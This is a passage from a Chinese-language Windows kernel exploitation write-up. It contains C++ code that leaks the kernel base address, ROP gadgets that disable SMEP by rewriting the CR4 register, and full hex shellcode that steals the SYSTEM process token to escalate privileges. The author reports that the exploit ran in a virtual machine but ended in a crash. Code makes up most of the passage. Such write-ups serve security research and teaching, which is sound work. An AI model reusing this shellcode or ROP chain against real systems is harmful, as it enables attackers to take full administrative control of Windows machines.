NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); //Allocate Memory PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION) VirtualAlloc(NULL, len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); //Get SYSTEM_MODULE_INFORMATION NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len); if (status != (NTSTATUS)0x0) { cout << "[!] NtQuerySystemInformation failed!" << endl; exit(1); } PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress; cout << "[>] ntoskrnl.exe base address: 0x" << hex << kernelImageBase << endl; return (INT64)kernelImageBase;}
之后Bypass SMEP采用修改CR4寄存器，置其第21位为0。据笔者环境，CR4=00000000001506f8，应修改为00000000000506f8，Gadgets如下：
pop rcx;retn //nt!HvlEndSystemInterrupt+2000000000000506f8 //CR4 Valuemov cr4, rcx;retn //nt!KeFlushCurrentTbImmediately+17
笔者环境中_EPROCESS结构与Exp作者略有不同，故修改Shellcode如下：
"\x54\x50\x51\x52\x53\x55\x56\x57\x41\x50\x41\x51\x41\x52\x41\x53\x41\x54\x41\x55\x41\x56\x41\x57\x9C" //PUSHAD "\x65\x48\x8B\x14\x25\x88\x01\x00\x00" // mov rdx, [gs:188h] ; Get _ETHREAD pointer from KPCR "\x4C\x8B\x82\xB8\x00\x00\x00" // mov r8, [rdx + b8h] ; _EPROCESS (kd> u PsGetCurrentProcess) "\x4D\x8B\x88\xe8\x02\x00\x00" // mov r9, [r8 + 2e8h] ; ActiveProcessLinks list head "\x49\x8B\x09" // mov rcx, [r9] ; Follow link to first process in list //find_system_proc: "\x48\x8B\x51\xF8" // mov rdx, [rcx - 8] ; Offset from ActiveProcessLinks to UniqueProcessId "\x48\x83\xFA\x04" // cmp rdx, 4 ; Process with ID 4 is System process "\x74\x05" // jz found_system ; Found SYSTEM token "\x48\x8B\x09" // mov rcx, [rcx] ; Follow _LIST_ENTRY Flink pointer "\xEB\xF1" // jmp find_system_proc ; Loop //found_system: "\x48\x8B\x41\x70" // mov rax, [rcx + 70h] ; Offset from ActiveProcessLinks to Token "\x24\xF0" // and al, 0f0h ; Clear low 4 bits of _EX_FAST_REF structure "\x49\x89\x80\x58\x03\x00\x00" // mov [r8 + 358h], rax ; Copy SYSTEM token to current process's token "\x9D\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x41\x5B\x41\x5A\x41\x59\x41\x58\x5F\x5E\x5D\x5B\x5A\x59\x58\x5C" //POPAD "\x48\x83\xC4\x10" // add rsp, 010h "\x48\x31\xC0" // xor rax, rax ; NTSTATUS Status = STATUS_SUCCESS "\xc3";
其他部分与上节思路基本一致，不再赘述。笔者构造的Exploit可以于目标虚拟机中执行，修改CR4及替换Token完成后恢复原执行环境，崩溃如下：
图20
由于知识储备有限，笔者尝试良久，未果。总结整体思路为：Get Kernel Base Address—>ROP(Modify CR4 value)—>Shellcode(User Space)。
